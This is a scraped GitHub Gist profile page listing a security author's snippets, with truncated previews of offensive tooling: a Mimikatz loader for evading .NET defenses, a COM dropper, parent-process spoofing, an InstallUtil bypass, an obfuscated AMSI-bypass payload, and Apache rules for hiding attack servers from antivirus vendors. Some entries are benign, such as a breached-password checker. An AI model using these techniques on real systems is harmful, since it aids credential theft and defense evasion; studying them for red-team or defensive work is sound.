Skip to content

Instantly share code, notes, and snippets.

View TechByTom's full-sized avatar

TechByTom

14 followers · 159 following
View GitHub Profile
@TechByTom
TechByTom / Tasks.cs
Created August 3, 2019 04:25
BulletProof Mimikatz - Load and execute Mimikatz in stordiag.exe, Cause likely your .NET defenses are bullshit and people are being deceived...Assume Security Products will fail...
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
/*
@TechByTom
TechByTom / dynwrapx.js
Created June 2, 2019 19:47
DynamicWrapperX Dropper - Code Registration Example
//Example Reference:
// https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> <file name="dynwrapx.dll"> <comClass description="DynamicWrapperX Class" clsid="{89565276-A714-4a43-912E-978B935EDCCC}" threadingModel="Both" progid="DynamicWrapperX"/> </file> </assembly>';
var fso = new ActiveXObject("Scripting.FileSystemObject");
var dropPath = fso.GetSpecialFolder(2);
// Create Base64 Object, supports encode, decode
var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(a){Base64.characters;var r="",c=0;do{var e=a.charCodeAt(c++),t=a.charCodeAt(c++),h=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,r+=Base64.charac
@TechByTom
TechByTom / process_spoof.c
Created June 1, 2019 23:37
/* x86-64-w64-mingw32-gcc process_spoof.c -o spoof.exe */
/* spoof.exe explorer.exe calc.exe */
#include <windows.h>
#include <tlhelp32.h>
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000
typedef struct _STARTUPINFOEX {
STARTUPINFO StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
@TechByTom
TechByTom / gethelp.cs
Created May 13, 2019 15:15
Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@TechByTom
TechByTom / all.txt
Created March 28, 2019 19:58 — forked from jhaddix/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@TechByTom
TechByTom / amsi-bypass.ps1
Created March 11, 2019 14:16 — forked from jkamdjou/amsi-bypass.ps1
$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,
@TechByTom
TechByTom / CheckHIBP.sh
Created January 18, 2019 15:45
Bash script to check a password or passwords against HIBP
#!/bin/bash
#credit: https://www.reddit.com/r/netsec/comments/agrrig/troy_hunt_the_773_million_record_collection_1/ee9jenv/
check_pwndb() {
hash="$(echo -n ${password} | openssl sha1 | cut -d' ' -f2)"
upperCase="$(echo ${hash} | tr '[a-z]' '[A-Z]')"
prefix="${upperCase:0:5}"
suffix="${upperCase:5}"
response=$(curl -s "https://api.pwnedpasswords.com/range/${prefix}")
@TechByTom
TechByTom / AWS Mod_rewrite.md
Created June 27, 2018 22:57
Live generate an apache mod_rewrite ruleset from AWS's public IP listing json file
@TechByTom
TechByTom / waybackurls.py
Created June 19, 2018 23:20 — forked from mhmdiaa/waybackurls.py
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@TechByTom
TechByTom / apacherules
Created February 1, 2018 17:56 — forked from vysecurity/apacherules
RewriteEngine On
#LogLevel alert rewrite:trace5
# BURN AV BURN
# TrendMicro
RewriteCond expr "-R '150.70.0.0/22'" [OR]
RewriteCond expr "-R '150.70.104.0/22'" [OR]
RewriteCond expr "-R '150.70.110.0/24'" [OR]
RewriteCond expr "-R '150.70.112.0/20'" [OR]